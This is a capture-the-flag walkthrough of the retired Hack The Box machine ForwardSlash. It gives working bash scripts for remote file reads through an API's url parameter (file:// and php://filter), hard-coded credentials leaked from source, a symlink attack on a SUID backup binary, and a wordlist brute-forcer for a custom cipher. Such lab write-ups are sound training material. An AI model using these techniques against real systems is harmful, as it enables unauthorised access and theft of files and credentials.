This post documents the complete walkthrough of ForwardSlash, a retired vulnerable VM created by chivato and InfoSecJack, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
ForwardSlash is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a masscan
probe to establish the open ports in the host.
# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.183 --rate=500
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-04-07 01:50:44 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.183
Discovered open port 22/tcp on 10.10.10.183
You know a box is hard when there are only two open ports. Let’s do one better with nmap
scanning the discovered ports to establish their services.
# nmap -n -v -Pn -p22,80 -A --reason 10.10.10.183 -oN nmap.txt
...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 3c:3b:eb:54:96:81:1d:da:d7:96:c7:0f:b4:7e:e1:cf (RSA)
| 256 f6:b3:5f:a2:59:e3:1e:57:35:36:c3:fe:5e:3d:1f:66 (ECDSA)
|_ 256 1b:de:b8:07:35:e8:18:2c:19:d8:cc:dd:77:9c:f2:5e (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Did not follow redirect to http://forwardslash.htb
I’d better put forwardslash.htb
in /etc/hosts
. Here’s what the site looks like.
Directory/File Enumeration
In any case, let’s check in with gobuster
and SecLists, and see what we get.
# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,txt,xml -e -t 20 -s '200,302' -u http://10.10.10.183/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.183/
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes: 200,302
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,txt,xml
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2020/04/15 09:27:41 Starting gobuster
===============================================================
http://10.10.10.183/index.php (Status: 302)
http://10.10.10.183/index.php (Status: 302)
http://10.10.10.183/note.txt (Status: 200)
===============================================================
2020/04/15 09:30:54 Finished
===============================================================
Ok. There’s a note.
Virtual Hosting
Sounds like we have a virtual host.
# curl -i -H "Host: backup.forwardslash.htb" http://10.10.10.183; echo
HTTP/1.1 302 Found
Date: Wed, 15 Apr 2020 09:59:54 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=947307vi7crqnk10sfbj7bopn9; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: login.php
Content-Length: 33
Content-Type: text/html; charset=UTF-8
Redirecting you to the login page
Bingo. I better put backup.forwardslash.htb
into /etc/hosts
as well. Here’s what it looks like.
Directory/File Enumeration (2)
I think it’s wise to do a fresh round of enumeration at this point.
# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,txt,xml -e -t 20 -s '200,302' -u http://backup.forwardslash.htb/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://backup.forwardslash.htb/
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes: 200,302
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,txt,xml
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2020/04/15 10:05:39 Starting gobuster
===============================================================
http://backup.forwardslash.htb/api.php (Status: 200)
http://backup.forwardslash.htb/config.php (Status: 200)
http://backup.forwardslash.htb/dev (Status: 301)
http://backup.forwardslash.htb/environment.php (Status: 302)
http://backup.forwardslash.htb/index.php (Status: 302)
http://backup.forwardslash.htb/index.php (Status: 302)
http://backup.forwardslash.htb/login.php (Status: 200)
http://backup.forwardslash.htb/logout.php (Status: 302)
http://backup.forwardslash.htb/register.php (Status: 200)
http://backup.forwardslash.htb/welcome.php (Status: 302)
===============================================================
2020/04/15 10:08:48 Finished
===============================================================
/dev
and api.php
sure look interesting.
/dev
# curl -i http://backup.forwardslash.htb/dev/
HTTP/1.0 403 Forbidden
Date: Thu, 16 Apr 2020 07:55:54 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=qhh4eg87a66giq5g5a39rs6ud1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 66
Connection: close
Content-Type: text/html; charset=UTF-8
<h1>403 Access Denied</h1><h3>Access Denied From 10.10.16.125</h3>
api.php
# curl -i http://backup.forwardslash.htb/api.php
HTTP/1.1 200 OK
Date: Thu, 16 Apr 2020 01:19:26 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=vmv8dokj32t2sifk2v1ltq0ca5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 127
Content-Type: text/html; charset=UTF-8
<!-- TODO: removed all the code to actually change the picture after backslash gang attacked us, simply echos as debug now -->
What does wfuzz
with the burp-parameter-names
wordlist tell us?
# wfuzz -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -d "FUZZ=foo" --hh 127 -t 20 http://backup.forwardslash.htb/api.php
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://backup.forwardslash.htb/api.php
Total requests: 2588
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000006: 200 0 L 8 W 33 Ch "url"
000000669: 200 1 L 22 W 127 Ch "sortorder" ^C
Finishing pending requests...
Let’s give url
a shot and see what happens.
# curl -i -d "url=foo" http://backup.forwardslash.htb/api.php
HTTP/1.1 200 OK
Date: Thu, 16 Apr 2020 01:21:35 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=m09n18nkdq52li6n8gp96092k2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 33
Content-Type: text/html; charset=UTF-8
User must be logged in to use API
OK. Long story short. I could register for a new account and that would get me a new PHPSESSID. Armed with that insight, I wrote a simple shell script that allows me to read files off the box remotely.
#!/bin/bash
HOST=backup.forwardslash.htb
USER=admin
PASS=password
FILE=$1
COOKIE=$(mktemp -u)
# login
curl -c $COOKIE \
-s \
-o /dev/null \
-d "username=$USER&password=$PASS" \
http://$HOST/login.php
# read
curl -b $COOKIE \
-s \
-d "url=file:///$FILE" \
http://$HOST/api.php
# clean up
rm -f $COOKIE
Let’s give it a shot by reading /etc/passwd
.
Sweet but what’s next?
Permission Denied; not that way ;)
Normally, the docroot of a virtual host is located in /var/www
and in our case, the docroot of backup.forwardslash.htb
is exactly that. Now, this is what happens when you try the lazy-ass way of reading files from the docroot of the virtual host.
# ./read.sh /var/www/backup.forwardslash.htb/api.php; echo
Permission Denied; not that way ;)
Let’s switch it up with a PHP filter wrapper.
#!/bin/bash
HOST=backup.forwardslash.htb
USER=admin
PASS=password
FILE=$1
COOKIE=$(mktemp -u)
# login
curl -c $COOKIE \
-s \
-o /dev/null \
-d "username=$USER&password=$PASS" \
http://$HOST/login.php
# read
curl -b $COOKIE \
-s \
-d "url=php://filter/convert.base64-encode/resource=$FILE" \
http://$HOST/api.php \
| base64 -d
# clean up
rm -f $COOKIE
Litmus test?
Bingo.
Low-Privilege Shell
Recall the /dev
directory where we have no access? Let’s see if we can read it now.
<?php
//include_once ../session.php;
// Initialize the session
session_start();
if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") && $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){
header('HTTP/1.0 403 Forbidden');
echo "<h1>403 Access Denied</h1>";
echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>";
//echo "<h2>Redirecting to login in 3 seconds</h2>"
//echo '<meta http-equiv="refresh" content="3;url=../login.php" />';
//header("location: ../login.php");
exit;
}
?>
<html>
<h1>XML Api Test</h1>
<h3>This is our api test for when our new website gets refurbished</h3>
<form action="/dev/index.php" method="get" id="xmltest">
<textarea name="xml" form="xmltest" rows="20" cols="50"><api>
<request>test</request>
</api>
</textarea>
<input type="submit">
</form>
</html>
<!-- TODO:
Fix FTP Login
-->
<?php
if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) {
$reg = '/ftp:\/\/[\s\S]*\/\"/';
//$reg = '/((((25[0-5])|(2[0-4]\d)|([01]?\d?\d)))\.){3}((((25[0-5])|(2[0-4]\d)|([01]?\d?\d))))/'
if (preg_match($reg, $_GET['xml'], $match)) {
$ip = explode('/', $match[0])[2];
echo $ip;
error_log("Connecting");
$conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n");
error_log("Logging in");
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {
error_log("Getting file");
echo ftp_get_string($conn_id, "debug.txt");
}
exit;
}
libxml_disable_entity_loader (false);
$xmlfile = $_GET["xml"];
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$api = simplexml_import_dom($dom);
$req = $api->request;
echo "-----output-----<br>\r\n";
echo "$req";
}
function ftp_get_string($ftp, $filename) {
$temp = fopen('php://temp', 'r+');
if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) {
rewind($temp);
return stream_get_contents($temp);
}
else {
return false;
}
}
?>
We have chiv
’s password (N0bodyL1kesBack/
)! Now, let’s see if we can log in via SSH.
Privilege Escalation
During enumeration of chiv
’s account, I noticed that user.txt
is in pain
’s home directory and only readable by pain
. What’s interesting is that there’s a executable SUID to pain
.
Well, let’s check out what note.txt
says.
Pain, even though they got into our server, I made sure to encrypt any important files and then did some crypto magic on the key... I gave you the key in person the other day, so unless these hackers are some crypto experts we should be good to go.
-chiv
Reverse Engineering of backup
This is the second-half of the first code block of the main
function, before it branches off.
It reads a file with a name that’s the MD5 hash of the current time in %H:%M:%S format, essentially date +%T
, and prints the contents of the file to stdout
. With that in mind, it’s trivial to write a simple shell script to read file as pain
.
#!/bin/bash
ln -s $1 $(echo -n `date +%T` | md5sum | cut -d '-' -f1)
/usr/bin/backup | sed 1,8d
Let’s grab that user.txt
.
While we are at it, let’s grab the config.php.bak
as well.
Another Low-Privilege Shell
Maybe that’s the SSH password of pain
? Who knows? Let’s give it a shot.
Rolling your own crypto
Nothing good comes out of rolling your own cryptography when it comes to encryption/decryption. I wrote a simple shell wrapper around encrypter.py
to brute-force the key. I made the assumption that the decrypted text contains “encrypt”, “decrypt”, “key” or “pass”.
#!/bin/bash
KEY="$1"
function die() {
killall perl 2>/dev/null
}
if python encrypter.py "$KEY" | tr -cd '[:print:]\n' | grep -Ei '([de][en]crypt|key|pass)' &>/dev/null; then
echo "[+] Key: $KEY"
echo "[+] Length: $(echo -n $KEY | wc -c)"
echo "[+] Message: $(python encrypter.py $KEY)"
echo
die
fi
Combined with GNU Parallel, you get a poor man’s version of a multi-threaded brute-forcer.
# time parallel -j20 ./brute.sh '{}' < rockyou.txt 2>/dev/null | tee gotcha.txt
[+] Key: teamareporsiempre
[+] Length: 17
[+] Message: H[2fv/vXLlyyou liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf
real 0m55.392s
user 2m0.848s
sys 1m24.540s
So the key is teamareporsiempre
. In Spanish, it stands for “iloveyouforever”.
Mounting LUKS
During enumeration of pain
’s account, I also notice the following.
Time to mount the encrypted image!
The End
Well, what’s id_rsa
?
I suspect that’s the RSA private key to root
’s account. Well there’s only one way to find out.
The end is here.